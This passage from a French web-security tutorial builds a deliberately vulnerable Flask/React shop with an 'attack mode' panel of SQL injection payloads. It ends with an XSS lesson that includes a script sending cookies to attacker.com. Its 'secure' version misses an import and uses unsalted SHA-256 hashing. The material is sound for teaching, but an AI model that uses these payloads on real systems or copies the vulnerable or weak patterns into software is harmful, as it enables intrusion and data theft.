            return jsonify({
                "success": True,
                "user": {
                    "id": user['id'],
                    "username": user['username'],
                    "email": user['email'],
                    "is_admin": bool(user['is_admin'])
                }
            })
        
        return jsonify({"error": "Identifiants invalides"}), 401
        
    except sqlite3.Error as e:
        print(f"[X] Erreur SQL : {e}")
        conn.close()
        return jsonify({"error": "Erreur de connexion"}), 500

# [X] ROUTE VULNÉRABLE : Profil utilisateur
@app.route('/api/profile', methods=['GET'])
def get_profile():
    """
    Récupère le profil de l'utilisateur connecté
    Peut être exploité avec IDOR si on manipule l'ID
    """
    user_id = request.args.get('user_id', session.get('user_id'))
    
    if not user_id:
        return jsonify({"error": "Non authentifié"}), 401
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] VULNÉRABLE : Pas de vérification d'autorisation
    query = f"SELECT id, username, email, is_admin FROM users WHERE id = {user_id}"
    print(f"[ROUGE] Requête SQL : {query}")
    
    cursor.execute(query)
    user = cursor.fetchone()
    conn.close()
    
    if user:
        return jsonify(dict(user))
    
    return jsonify({"error": "Utilisateur introuvable"}), 404

# [X] ROUTE VULNÉRABLE : Historique des commandes
@app.route('/api/orders', methods=['GET'])
def get_orders():
    """
    Récupère les commandes d'un utilisateur
    VULNÉRABLE à l'injection SQL
    """
    user_id = request.args.get('user_id', session.get('user_id'))
    
    if not user_id:
        return jsonify({"error": "Non authentifié"}), 401
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] VULNÉRABLE
    query = f"SELECT * FROM orders WHERE user_id = {user_id}"
    print(f"[ROUGE] Requête SQL : {query}")
    
    cursor.execute(query)
    orders = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(orders)

# [X] ROUTE VULNÉRABLE : Cartes bancaires (ADMIN ONLY)
@app.route('/api/admin/cards', methods=['GET'])
def get_all_cards():
    """
    Récupère TOUTES les cartes bancaires
    Réservé aux admins... en théorie
    VULNÉRABLE : Pas de vérification d'admin réelle
    """
    # [X] Vérification faible basée sur session
    if not session.get('is_admin'):
        return jsonify({"error": "Accès interdit"}), 403
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("""
        SELECT cc.*, u.username 
        FROM credit_cards cc
        JOIN users u ON cc.user_id = u.id
    """)
    
    cards = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(cards)

# Route : Liste des produits (sécurisée, pas d'injection ici)
@app.route('/api/products', methods=['GET'])
def get_products():
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("SELECT * FROM products WHERE stock > 0")
    products = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(products)

# Route : Logout
@app.route('/api/logout', methods=['POST'])
def logout():
    session.clear()
    return jsonify({"success": True})

if __name__ == '__main__':
    init_db()
    print("[RAPIDE] E-commerce vulnérable démarré sur http://localhost:5000")
    print("[ATTENTION]  ATTENTION : Application avec vulnérabilités SQL Injection volontaires !")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : FRONTEND REACT

```bash
npx create-react-app ecommerce-sql-demo
cd ecommerce-sql-demo
```

```javascript
// src/App.js
import React, { useState, useEffect } from 'react';
import './App.css';

function App() {
  const [view, setView] = useState('login'); // login, shop, profile, admin
  const [user, setUser] = useState(null);
  const [products, setProducts] = useState([]);
  const [orders, setOrders] = useState([]);
  const [cards, setCards] = useState([]);
  
  // États du formulaire de connexion
  const [username, setUsername] = useState('');
  const [password, setPassword] = useState('');
  const [attackMode, setAttackMode] = useState(false);

  // Charger les produits au démarrage
  useEffect(() => {
    fetchProducts();
  }, []);

  const fetchProducts = async () => {
    const response = await fetch('http://localhost:5000/api/products');
    const data = await response.json();
    setProducts(data);
  };

  // === AUTHENTIFICATION ===

  const handleLogin = async (e) => {
    e.preventDefault();
    
    const response = await fetch('http://localhost:5000/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({ username, password })
    });

    const data = await response.json();
    
    if (data.success) {
      setUser(data.user);
      setView('shop');
      alert(`[OK] Connecté en tant que ${data.user.username}`);
      
      if (data.user.is_admin) {
        alert('[CLE] Vous êtes ADMIN ! Accès aux données sensibles débloqué.');
      }
    } else {
      alert('[X] ' + data.error);
    }
  };

  const handleLogout = async () => {
    await fetch('http://localhost:5000/api/logout', {
      method: 'POST',
      credentials: 'include'
    });
    
    setUser(null);
    setView('login');
    setUsername('');
    setPassword('');
  };

  // === ATTAQUES SQL INJECTION ===

  const sqlInjectionAttacks = [
    {
      name: "Attaque 1 : Contournement authentification basique",
      usernamePayload: "admin",
      passwordPayload: "' OR '1'='1",
      description: "Bypass du mot de passe en rendant la condition toujours vraie"
    },
    {
      name: "Attaque 2 : Login sans connaître le username",
      usernamePayload: "' OR '1'='1' --",
      passwordPayload: "anything",
      description: "Se connecte avec le premier utilisateur (souvent admin)"
    },
    {
      name: "Attaque 3 : Login en tant qu'admin spécifique",
      usernamePayload: "admin' --",
      passwordPayload: "ignored",
      description: "Commente la vérification du mot de passe pour admin"
    },
    {
      name: "Attaque 4 : Extraction de cartes bancaires (UNION)",
      usernamePayload: "' UNION SELECT id, card_number, card_holder, cvv, 1, created_at FROM credit_cards --",
      passwordPayload: "anything",
      description: "Combine les résultats avec la table credit_cards"
    }
  ];

  const launchSQLInjection = (attack) => {
    setUsername(attack.usernamePayload);
    setPassword(attack.passwordPayload);
    alert(`[DANGER] Attaque configurée : ${attack.name}\n\nCliquez sur "Se connecter" pour lancer l'attaque.`);
  };

  // === VUES ===

  const fetchOrders = async () => {
    const response = await fetch(`http://localhost:5000/api/orders?user_id=${user.id}`, {
      credentials: 'include'
    });
    const data = await response.json();
    setOrders(data);
  };

  const fetchAdminCards = async () => {
    const response = await fetch('http://localhost:5000/api/admin/cards', {
      credentials: 'include'
    });
    
    if (response.ok) {
      const data = await response.json();
      setCards(data);
      alert('[DEVERROUILLE] Accès aux cartes bancaires réussi !');
    } else {
      alert('[X] Accès refusé (il faut être admin)');
    }
  };

  // === RENDU ===

  return (
    <div className="App">
      <header className="App-header">
        <h1>[SHOPPING_TROLLEY] E-Commerce SQL Injection Demo</h1>
        {user && (
          <div className="user-info">
            <span>[UTILISATEUR] {user.username}</span>
            {user.is_admin && <span className="admin-badge">[CLE] ADMIN</span>}
            <button onClick={handleLogout}>Déconnexion</button>
          </div>
        )}
      </header>

      <div className="container">
        {/* === VUE LOGIN === */}
        {view === 'login' && (
          <div className="login-view">
            <div className="login-box">
              <h2>[SECURISE] Connexion</h2>
              
              <form onSubmit={handleLogin}>
                <input
                  type="text"
                  placeholder="Nom d'utilisateur"
                  value={username}
                  onChange={(e) => setUsername(e.target.value)}
                />
                <input
                  type="password"
                  placeholder="Mot de passe"
                  value={password}
                  onChange={(e) => setPassword(e.target.value)}
                />
                <button type="submit">Se connecter</button>
              </form>

              <div className="test-accounts">
                <h3>Comptes de test :</h3>
                <p>admin / AdminP@ssw0rd!</p>
                <p>alice / alice123</p>
                <p>bob / bob456</p>
              </div>

              {/* TOGGLE MODE ATTAQUE */}
              <button 
                className="attack-toggle"
                onClick={() => setAttackMode(!attackMode)}
              >
                {attackMode ? '[SECURITE] Mode Normal' : '[ROUGE] Mode Attaque'}
              </button>

              {/* PANEL D'ATTAQUES */}
              {attackMode && (
                <div className="attack-panel">
                  <h2>[DANGER] Attaques SQL Injection - Authentification</h2>
                  
                  {sqlInjectionAttacks.map((attack, index) => (
                    <div key={index} className="attack-card">
                      <h3>{attack.name}</h3>
                      <p>{attack.description}</p>
                      
                      <div className="payload-display">
                        <p><strong>Username:</strong> <code>{attack.usernamePayload}</code></p>
                        <p><strong>Password:</strong> <code>{attack.passwordPayload}</code></p>
                      </div>
                      
                      <button onClick={() => launchSQLInjection(attack)}>
                        Préparer l'attaque
                      </button>
                    </div>
                  ))}
                </div>
              )}
            </div>
          </div>
        )}

        {/* === VUE SHOP === */}
        {view === 'shop' && user && (
          <div className="shop-view">
            <div className="navigation">
              <button onClick={() => setView('shop')}>[SHOPPING_TROLLEY] Boutique</button>
              <button onClick={() => { setView('orders'); fetchOrders(); }}>
                [PACKAGE] Mes commandes
              </button>
              {user.is_admin && (
                <button onClick={() => { setView('admin'); fetchAdminCards(); }}>
                  [CLE] Admin (Cartes)
                </button>
              )}
            </div>

            <h2>Produits disponibles</h2>
            <div className="products-grid">
              {products.map(product => (
                <div key={product.id} className="product-card">
                  <h3>{product.name}</h3>
                  <p>{product.description}</p>
                  <p className="price">{product.price} €</p>
                  <p className="stock">En stock : {product.stock}</p>
                  <button>Ajouter au panier</button>
                </div>
              ))}
            </div>
          </div>
        )}

        {/* === VUE COMMANDES === */}
        {view === 'orders' && user && (
          <div className="orders-view">
            <div className="navigation">
              <button onClick={() => setView('shop')}>[SHOPPING_TROLLEY] Boutique</button>
              <button onClick={() => { setView('orders'); fetchOrders(); }}>
                [PACKAGE] Mes commandes
              </button>
              {user.is_admin && (
                <button onClick={() => { setView('admin'); fetchAdminCards(); }}>
                  [CLE] Admin (Cartes)
                </button>
              )}
            </div>

            <h2>Mes commandes</h2>
            {orders.length === 0 ? (
              <p>Aucune commande pour le moment.</p>
            ) : (
              orders.map(order => (
                <div key={order.id} className="order-card">
                  <p><strong>Commande #{order.id}</strong></p>
                  <p>Total : {order.total} €</p>
                  <p>Statut : {order.status}</p>
                  <p>Date : {order.created_at}</p>
                </div>
              ))
            )}
          </div>
        )}

        {/* === VUE ADMIN === */}
        {view === 'admin' && user && user.is_admin && (
          <div className="admin-view">
            <div className="navigation">
              <button onClick={() => setView('shop')}>[SHOPPING_TROLLEY] Boutique</button>
              <button onClick={() => { setView('orders'); fetchOrders(); }}>
                [PACKAGE] Mes commandes
              </button>
              <button onClick={() => { setView('admin'); fetchAdminCards(); }}>
                [CLE] Admin (Cartes)
              </button>
            </div>

            <h2>[CLE] Panel Administrateur - Cartes Bancaires</h2>
            <div className="warning-box">
              [ATTENTION] DONNÉES ULTRA-SENSIBLES - Accès réservé aux administrateurs
            </div>

            {cards.length === 0 ? (
              <p>Aucune carte bancaire enregistrée.</p>
            ) : (
              <div className="cards-grid">
                {cards.map(card => (
                  <div key={card.id} className="card-info">
                    <p><strong>[UTILISATEUR] {card.username || card.card_holder}</strong></p>
                    <p>[CARTE] {card.card_number}</p>
                    <p>[CALENDRIER] Expire : {card.expiry_date}</p>
                    <p>[VERROUILLE] CVV : {card.cvv}</p>
                  </div>
                ))}
              </div>
            )}
          </div>
        )}
      </div>
    </div>
  );
}

export default App;
```

---

### PARTIE C : CSS

```css
/* src/App.css */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  min-height: 100vh;
}

.App-header {
  background: rgba(0, 0, 0, 0.5);
  color: white;
  padding: 1.5rem 2rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.user-info {
  display: flex;
  gap: 1rem;
  align-items: center;
}

.admin-badge {
  background: #ff4444;
  padding: 0.3rem 0.8rem;
  border-radius: 20px;
  font-size: 0.9rem;
  font-weight: bold;
}

.container {
  max-width: 1400px;
  margin: 2rem auto;
  padding: 0 2rem;
}

/* === LOGIN === */
.login-view {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 80vh;
}

.login-box {
  background: white;
  padding: 3rem;
  border-radius: 16px;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
  max-width: 800px;
  width: 100%;
}

.login-box h2 {
  color: #667eea;
  margin-bottom: 2rem;
  text-align: center;
}

.login-box form {
  display: flex;
  flex-direction: column;
  gap: 1rem;
  margin-bottom: 2rem;
}

.login-box input {
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
}

.login-box button[type="submit"] {
  background: #667eea;
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  font-size: 1.1rem;
  cursor: pointer;
  transition: all 0.3s;
}

.login-box button[type="submit"]:hover {
  background: #5568d3;
  transform: translateY(-2px);
}

.test-accounts {
  background: #f0f0f0;
  padding: 1rem;
  border-radius: 8px;
  margin-bottom: 1rem;
}

.test-accounts h3 {
  color: #333;
  font-size: 1rem;
  margin-bottom: 0.5rem;
}

.test-accounts p {
  font-family: 'Courier New', monospace;
  font-size: 0.9rem;
  color: #666;
}

.attack-toggle {
  width: 100%;
  background: #ff4444;
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  font-size: 1.1rem;
  cursor: pointer;
  margin-top: 1rem;
  transition: all 0.3s;
}

.attack-toggle:hover {
  background: #cc0000;
}

.attack-panel {
  background: rgba(255, 68, 68, 0.05);
  border: 2px solid #ff4444;
  border-radius: 12px;
  padding: 2rem;
  margin-top: 2rem;
}

.attack-panel h2 {
  color: #ff4444;
  margin-bottom: 1.5rem;
}

.attack-card {
  background: white;
  padding: 1.5rem;
  margin: 1rem 0;
  border-radius: 8px;
  border-left: 4px solid #ff4444;
}

.attack-card h3 {
  color: #ff4444;
  margin-bottom: 0.5rem;
}

.payload-display {
  background: #f5f5f5;
  padding: 1rem;
  border-radius: 4px;
  margin: 1rem 0;
}

.payload-display code {
  background: #e0e0e0;
  padding: 0.2rem 0.5rem;
  border-radius: 3px;
  font-family: 'Courier New', monospace;
}

.attack-card button {
  background: #ff4444;
  color: white;
  border: none;
  padding: 0.8rem 1.5rem;
  border-radius: 6px;
  cursor: pointer;
  transition: all 0.3s;
}

.attack-card button:hover {
  background: #cc0000;
}

/* === NAVIGATION === */
.navigation {
  display: flex;
  gap: 1rem;
  margin-bottom: 2rem;
  background: white;
  padding: 1rem;
  border-radius: 12px;
}

.navigation button {
  flex: 1;
  background: #667eea;
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1rem;
  transition: all 0.3s;
}

.navigation button:hover {
  background: #5568d3;
}

/* === SHOP === */
.shop-view h2, .orders-view h2, .admin-view h2 {
  color: white;
  margin-bottom: 2rem;
}

.products-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
  gap: 2rem;
}

.product-card {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  transition: transform 0.3s;
}

.product-card:hover {
  transform: translateY(-5px);
}

.product-card h3 {
  color: #667eea;
  margin-bottom: 0.5rem;
}

.product-card .price {
  font-size: 1.5rem;
  font-weight: bold;
  color: #764ba2;
  margin: 1rem 0;
}

.product-card .stock {
  color: #666;
  font-size: 0.9rem;
}

.product-card button {
  width: 100%;
  background: #667eea;
  color: white;
  border: none;
  padding: 0.8rem;
  border-radius: 8px;
  cursor: pointer;
  margin-top: 1rem;
  transition: all 0.3s;
}

.product-card button:hover {
  background: #5568d3;
}

/* === ORDERS === */
.order-card {
  background: white;
  padding: 1.5rem;
  border-radius: 12px;
  margin-bottom: 1rem;
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

/* === ADMIN === */
.warning-box {
  background: #ff4444;
  color: white;
  padding: 1rem;
  border-radius: 8px;
  text-align: center;
  font-weight: bold;
  margin-bottom: 2rem;
}

.cards-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
  gap: 2rem;
}

.card-info {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  border-left: 4px solid #ff4444;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.card-info p {
  margin: 0.5rem 0;
  font-size: 1.1rem;
}
```

---

### PARTIE D : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
# Terminal 1 : Backend
python ecommerce_vulnerable.py

# Terminal 2 : Frontend
cd ecommerce-sql-demo
npm start
```

---

**2. Activer le "Mode Attaque" et tester :**

**Attaque 1 : Contournement authentification basique**
- Username : `admin`
- Password : `' OR '1'='1`
- **Résultat :** Connecté en tant qu'admin sans connaître le mot de passe !

**Requête SQL générée :**
```sql
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
```
Décomposition :
- `username = 'admin'` -> Vrai si l'user est admin
- `password = ''` -> Faux
- `OR '1'='1'` -> **TOUJOURS VRAI**
- Résultat final : **VRAI** -> Accès accordé !

---

**Attaque 2 : Login sans connaître le username**
- Username : `' OR '1'='1' --`
- Password : `anything`

**Requête SQL :**
```sql
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything'
```

`--` commente le reste -> La vérification du mot de passe est ignorée !

---

**Attaque 3 : Devenir admin spécifique**
- Username : `admin' --`
- Password : `ignored`

**Requête SQL :**
```sql
SELECT * FROM users WHERE username = 'admin' --' AND password = 'ignored'
```

**Résultat :** Connecté en tant qu'admin directement !

---

**Attaque 4 : Extraction de cartes bancaires**

Cette attaque est plus complexe et utilise UNION pour combiner les tables.

*Note : Cette attaque peut ne pas fonctionner directement dans cet exemple car la structure des colonnes doit correspondre. C'est un concept avancé.*

---

### PARTIE E : VERSION SÉCURISÉE

```python
# ecommerce_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import sqlite3
import hashlib
import jwt
from datetime import datetime, timedelta
from functools import wraps

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)  # [OK] Clé forte aléatoire
CORS(app)

# Même fonction init_db() mais avec mots de passe hachés

def hash_password(password):
    """Hache un mot de passe avec SHA-256"""
    return hashlib.sha256(password.encode()).hexdigest()

def init_db_secure():
    """Initialise avec mots de passe hachés"""
    # ... (même structure)
    
    # Users avec mots de passe hachés
    users = [
        ('admin', hash_password('AdminP@ssw0rd!'), 'admin@shop.com', 1),
        ('alice', hash_password('alice123'), 'alice@example.com', 0),
        ('bob', hash_password('bob456'), 'bob@example.com', 0)
    ]
    cursor.executemany(
        "INSERT INTO users (username, password, email, is_admin) VALUES (?, ?, ?, ?)",
        users
    )
    # ... (reste identique)

def require_auth(f):
    """Décorateur pour vérifier le JWT"""
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization')
        
        if not token:
            return jsonify({"error": "Token manquant"}), 401
        
        try:
            # Retirer "Bearer " du token
            token = token.replace('Bearer ', '')
            data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
            request.user = data
        except jwt.ExpiredSignatureError:
            return jsonify({"error": "Token expiré"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"error": "Token invalide"}), 401
        
        return f(*args, **kwargs)
    
    return decorated

def require_admin(f):
    """Décorateur pour vérifier que l'utilisateur est admin"""
    @wraps(f)
    @require_auth
    def decorated(*args, **kwargs):
        if not request.user.get('is_admin'):
            return jsonify({"error": "Accès admin requis"}), 403
        
        return f(*args, **kwargs)
    
    return decorated

# [OK] ROUTE SÉCURISÉE : LOGIN
@app.route('/api/login', methods=['POST'])
def login_secure():
    """
    Authentification sécurisée avec :
    - Validation des entrées
    - Requêtes préparées
    - Mots de passe hachés
    - JWT pour les sessions
    """
    data = request.get_json()
    username = data.get('username', '').strip()
    password = data.get('password', '')
    
    # [OK] VALIDATION
    if not username or not password:
        return jsonify({"error": "Username et password requis"}), 400
    
    if len(username) > 50:
        return jsonify({"error": "Username trop long"}), 400
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] SÉCURISÉ : Requête préparée
    query = "SELECT * FROM users WHERE username = ?"
    cursor.execute(query, (username,))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({"error": "Identifiants invalides"}), 401
    
    # [OK] Vérifier le mot de passe haché
    password_hash = hash_password(password)
    
    if user['password'] != password_hash:
        return jsonify({"error": "Identifiants invalides"}), 401
    
    # [OK] Créer un JWT
    token_payload = {
        'user_id': user['id'],
        'username': user['username'],
        'is_admin': bool(user['is_admin']),
        'exp': datetime.utcnow() + timedelta(hours=24)
    }
    
    token = jwt.encode(token_payload, app.config['SECRET_KEY'], algorithm="HS256")
    
    return jsonify({
        "success": True,
        "token": token,
        "user": {
            "id": user['id'],
            "username": user['username'],
            "email": user['email'],
            "is_admin": bool(user['is_admin'])
        }
    })

# [OK] ROUTE SÉCURISÉE : Profil
@app.route('/api/profile', methods=['GET'])
@require_auth
def get_profile_secure():
    """
    Récupère le profil de l'utilisateur connecté
    [OK] Utilise le user_id du JWT (impossible à manipuler)
    """
    user_id = request.user['user_id']
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] SÉCURISÉ : Requête préparée
    query = "SELECT id, username, email, is_admin FROM users WHERE id = ?"
    cursor.execute(query, (user_id,))
    
    user = cursor.fetchone()
    conn.close()
    
    if user:
        return jsonify(dict(user))
    
    return jsonify({"error": "Utilisateur introuvable"}), 404

# [OK] ROUTE SÉCURISÉE : Commandes
@app.route('/api/orders', methods=['GET'])
@require_auth
def get_orders_secure():
    """
    Récupère les commandes de l'utilisateur connecté
    [OK] user_id vient du JWT, pas des paramètres URL
    """
    user_id = request.user['user_id']
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] SÉCURISÉ
    query = "SELECT * FROM orders WHERE user_id = ?"
    cursor.execute(query, (user_id,))
    
    orders = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(orders)

# [OK] ROUTE SÉCURISÉE : Admin cartes
@app.route('/api/admin/cards', methods=['GET'])
@require_admin
def get_all_cards_secure():
    """
    [OK] Vérification forte avec décorateur @require_admin
    [OK] JWT validé + vérification is_admin
    """
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("""
        SELECT cc.*, u.username 
        FROM credit_cards cc
        JOIN users u ON cc.user_id = u.id
    """)
    
    cards = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(cards)

if __name__ == '__main__':
    init_db_secure()
    print("[SECURITE]  E-commerce SÉCURISÉ démarré sur http://localhost:5001")
    print("[OK] Protection : Requêtes préparées + JWT + Hachage")
    app.run(debug=True, port=5001)
```

**Modifier React pour utiliser le port 5001 et gérer le JWT :**

```javascript
// Stocker le token
localStorage.setItem('token', data.token);

// Envoyer le token dans les requêtes
const response = await fetch('http://localhost:5001/api/profile', {
  headers: {
    'Authorization': `Bearer ${localStorage.getItem('token')}`
  }
});
```

---

## [GRAPHIQUE] RÉCAPITULATIF SQL INJECTION

### [OK] Bonnes pratiques

| Pratique | Importance | Facilité |
|----------|-----------|----------|
| Requêtes préparées | ***** | [OK] Facile |
| Validation des entrées | **** | [OK] Facile |
| ORM (SQLAlchemy) | ***** | [OK] Facile |
| Principe du moindre privilège | **** | [ATTENTION] Moyen |
| WAF | *** | [ATTENTION] Complexe |
| Logging & monitoring | *** | [OK] Facile |

---

### [X] À ne JAMAIS faire

- [X] Concaténation directe de variables utilisateur
- [X] Désactiver les erreurs SQL (masque les problèmes)
- [X] Utiliser le même compte DB avec droits admin
- [X] Afficher les erreurs SQL détaillées en production
- [X] Faire confiance aux données côté client

---

# 2. CROSS-SITE SCRIPTING (XSS)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que le XSS ?

**Définition :**
Le Cross-Site Scripting (XSS) est une vulnérabilité qui permet à un attaquant d'injecter du code JavaScript malveillant dans une page web vue par d'autres utilisateurs.

**Analogie simple :**

Imagine un panneau d'affichage public où n'importe qui peut écrire. Si tu écris "Achetez mon produit !" c'est normal. Mais si quelqu'un écrit "Si vous lisez ceci, donnez-moi votre portefeuille", c'est malveillant !

Le XSS, c'est quand un attaquant "écrit" du code JavaScript sur une page web, et que ce code s'exécute chez les visiteurs.

---

### Comment fonctionne un XSS ?

**Code vulnérable :**

```python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q', '')
    
    # [X] VULNÉRABLE : Affichage direct sans échappement
    html = f"""
    <h1>Résultats pour : {query}</h1>
    <p>Aucun résultat trouvé</p>
    """
    
    return render_template_string(html)
```

**Requête normale :**
```
GET /search?q=python
```

**HTML généré :**
```html
<h1>Résultats pour : python</h1>
```

[OK] **Résultat :** Affichage normal

---

**Requête malveillante (XSS) :**
```
GET /search?q=<script>alert('XSS!')</script>
```

**HTML généré :**
```html
<h1>Résultats pour : <script>alert('XSS!')</script></h1>
```

[X] **Résultat :** Le JavaScript s'exécute ! Une popup "XSS!" apparaît.

---

### Types de XSS

#### 1. **Reflected XSS (Réfléchi)**

Le code malveillant est dans l'URL et se "réfléchit" immédiatement dans la réponse.

**Exemple :**
```
https://example.com/search?q=<script>alert(document.cookie)</script>
```

**Scénario d'attaque :**
1. L'attaquant crée un lien piégé
2. Envoie le lien à la victime (email, SMS, réseau social)
3. La victime clique
4. Le script s'exécute avec les privilèges de la victime
5. Le script vole les cookies et les envoie à l'attaquant

---

#### 2. **Stored XSS (Stocké/Persistant)**

Le code malveillant est **stocké** dans la base de données et s'exécute à chaque fois que la page est affichée.

**Exemple : Forum vulnérable**

```python
@app.route('/comment', methods=['POST'])
def add_comment():
    content = request.form.get('content')
    
    # [X] Stocke sans validation
    conn = sqlite3.connect('forum.db')
    cursor = conn.cursor()
    cursor.execute("INSERT INTO comments (content) VALUES (?)", (content,))
    conn.commit()
    conn.close()
    
    return redirect('/comments')

@app.route('/comments')
def show_comments():
    conn = sqlite3.connect('forum.db')
    cursor = conn.cursor()
    cursor.execute("SELECT content FROM comments")
    comments = cursor.fetchall()
    conn.close()
    
    # [X] Affiche sans échappement
    html = "<h1>Commentaires</h1>"
    for comment in comments:
        html += f"<p>{comment[0]}</p>"
    
    return html
```

**Attaquant poste :**
```html
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
```

**Résultat :** **TOUS** les visiteurs de la page exécutent ce script et envoient leurs cookies à l'attaquant !

---

#### 3. **DOM-based XSS**

L'injection se fait côté client, via JavaScript qui manipule le DOM.

**Exemple vulnérable :**

```html
<script>
  // Récupère un paramètre de l'URL
  const name = new URL(location.href).searchParams.get('name');
  
  // [X] Insère directement dans le DOM
  document.getElementById('welcome').innerHTML = 'Bienvenue ' + name;
</script>

<div id="welcome"></div>
```

**URL malveillante :**
```
https://example.com/?name=<img src=x onerror=alert('XSS')>
```

**Résultat :** Le code s'exécute sans même contacter le serveur !

---

### Impact d'un XSS

| Impact | Description | Exemple |
|--------|-------------|---------|
| **Vol de cookies** | Accès au compte de la victime | `document.cookie` |
| **Vol de session** | Usurpation d'identité | Envoyer le token JWT |
| **Keylogging** | Enregistrer les frappes clavier | Capturer mots de passe |
| **Phishing** | Afficher une fausse page de login | Redirection + UI clonée |
| **Defacement** | Modifier le contenu de la page | Vandalisme |
| **Redirection** | Envoyer vers un site malveillant | `window.location` |
| **CSRF** | Effectuer des actions au nom de la victime | Transfert d'argent |
| **Cryptomining** | Utiliser le CPU de la victime | Miner de la crypto |

---

### Cas réels

**1. Samy Worm (MySpace, 2005)**
- **Attaquant :** Samy Kamkar
- **Faille :** Stored XSS dans les profils MySpace
- **Impact :** Plus d'1 million de profils infectés en 20 heures
- **Mécanisme :** Le script s'ajoutait automatiquement au profil de chaque visiteur

**2. TweetDeck (Twitter, 2014)**
- **Faille :** XSS dans les tweets
- **Impact :** Des milliers de comptes infectés en quelques minutes
- **Payload :** `<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS')</script>`

**3. British Airways (2018)**
- **Faille :** XSS + injection de code malveillant
- **Impact :** 380,000 cartes bancaires volées
- **Amende :** 20 millions de livres sterling (RGPD)

---

### Comment se protéger ?

#### [OK] **1. Échappement HTML (HTML Escaping)**

**Principe :** Convertir les caractères spéciaux en entités HTML

```python
import html

def escape_html(text):
    """Échappe les caractères dangereux"""
    return html.escape(text)

# Utilisation
user_input = "<script>alert('XSS')</script>"
safe_output = escape_html(user_input)
# Résultat : &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;
```

**Table de conversion :**

| Caractère | Entité HTML | Description |
|-----------|-------------|-------------|
| `<` | `&lt;` | Less than |
| `>` | `&gt;` | Greater than |
| `&` | `&amp;` | Ampersand |
| `"` | `&quot;` | Quote |
| `'` | `&#x27;` | Apostrophe |

**Code sécurisé avec Flask :**

```python
from flask import Flask, request, render_template_string
import html

app = Flask(__name__)

@app.route('/search')
def search_secure():
    query = request.args.get('q', '')
    
    # [OK] SÉCURISÉ : Échappement HTML
    safe_query = html.escape(query)
    
    html_template = f"""
    <h1>Résultats pour : {safe_query}</h1>
    <p>Aucun résultat trouvé</p>
    """
    
    return render_template_string(html_template)
```

**Ou mieux, avec Jinja2 (auto-escape) :**

```python
from flask import Flask, request, render_template

# Jinja2 échappe automatiquement par défaut !
@app.route('/search')
def search_jinja():
    query = request.args.get('q', '')
    
    # templates/search.html
    return render_template('search.html', query=query)
```

```html
<!-- templates/search.html -->
<!-- [OK] Jinja2 échappe automatiquement {{ query }} -->
<h1>Résultats pour : {{ query }}</h1>
```

---

#### [OK] **2. Content Security Policy (CSP)**

**Principe :** Header HTTP qui définit les sources de contenu autorisées

```python
from flask import Flask, make_response

@app.route('/page')
def page_with_csp():
    response = make_response(render_template('page.html'))
    
    # [OK] CSP stricte
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' https:; "
        "font-src 'self' data:; "
        "connect-src 'self'; "
        "frame-ancestors 'none';"
    )
    
    return response
```

**Explication des directives :**

